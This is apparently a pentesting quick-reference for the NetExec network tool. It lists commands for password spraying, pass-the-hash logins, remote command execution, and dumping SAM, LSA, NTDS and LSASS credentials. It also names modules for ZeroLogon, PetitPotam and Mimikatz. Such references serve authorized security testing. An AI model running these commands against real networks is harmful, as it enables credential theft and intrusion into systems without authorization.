Quick Reference
NetExec (nxc) Quick Reference
Hackers Manifest - hackersmanifest.com
Swiss army knife for pentesting networks. NetExec (nxc) is the actively maintained fork of CrackMapExec; the original cme binary is end-of-life.
Install: pipx install git+https://github.com/Pennyw0rth/NetExec.
Authorized Testing Only
NetExec is highly intrusive — it triggers EDR, generates noisy logs, and can lock out accounts during password spraying.
Use only against systems you have explicit written authorization to test. Respect lockout policies before running with
--continue-on-success.
Migrating from CrackMapExec
All commands below use
nxc. Legacy cme scripts are largely backward-compatible, but new modules and protocol support (LDAP, MSSQL, FTP, NFS, WinRM, RDP) ship faster in NetExec. The database CLI is now nxcdb.
MITRE ATT&CK Coverage
🔌 Protocols
| SMB | nxc smb 192.168.1.0/24 |
| WinRM | nxc winrm 192.168.1.10 |
| LDAP | nxc ldap 192.168.1.10 |
| MSSQL | nxc mssql 192.168.1.10 |
| SSH | nxc ssh 192.168.1.0/24 |
| RDP | nxc rdp 192.168.1.10 |
| FTP | nxc ftp 192.168.1.10 |
🔐 Authentication
| Domain user | nxc smb IP -u user -p pass -d DOMAIN |
| Local user | nxc smb IP -u user -p pass --local-auth |
| Pass the Hash | nxc smb IP -u user -H NTLM_HASH |
| Kerberos | nxc smb IP -k |
| Null session | nxc smb IP -u '' -p '' |
| User list | nxc smb IP -u users.txt -p pass |
| Pass list | nxc smb IP -u user -p passwords.txt |
📊 SMB Enumeration
| List shares | --shares |
| List users | --users |
| List groups | --groups |
| Logged on users | --loggedon-users |
| Sessions | --sessions |
| Password policy | --pass-pol |
| RID brute | --rid-brute |
| Computers | --computers |
💻 Command Execution
| CMD | -x "whoami" |
| PowerShell | -X "Get-Process" |
| Method: ATExec | --exec-method atexec |
| Method: WMI | --exec-method wmiexec |
| Method: SMBExec | --exec-method smbexec |
| WinRM exec | nxc winrm IP -u user -p pass -x "whoami" |
🔑 Credential Dumping
| SAM hashes | --sam |
| LSA secrets | --lsa |
| NTDS.dit | --ntds |
| NTDS VSS method | --ntds vss |
| LSASS dump | -M lsassy |
| DPAPI | -M dpapi_secrets |
🧩 Useful Modules
| List modules | nxc smb -L |
| Module info | nxc smb -M module --options |
| Spider shares | -M spider_plus |
| PetitPotam | -M petitpotam |
| ZeroLogon | -M zerologon |
| GPP password | -M gpp_password |
| Mimikatz | -M mimikatz |
| Web delivery | -M web_delivery |
🕷️ Share Spidering
| Spider specific share | -M spider_plus -o SHARE=C$ |
| Search for files | --spider C$ --pattern *.kdbx |
| Read file content | --spider C$ --content --pattern flag.txt |
| Get file | --get-file \\share\\file local_file |
| Put file | --put-file local \\share\\file |
💾 Database
| Enter DB mode | nxcdb |
| List hosts | hosts |
| List creds | creds |
| Export data | export creds csv output.csv |
🎯 Common Workflows
Network Discovery
nxc smb 192.168.1.0/24 Password Spray
nxc smb IP -u users.txt -p 'Password1' --continue-on-success Dump Domain Hashes
nxc smb DC_IP -u admin -p pass --ntds Find Local Admin
nxc smb 192.168.1.0/24 -u user -H hash --local-auth Generated from Hackers Manifest | For authorized security testing only | hackersmanifest.com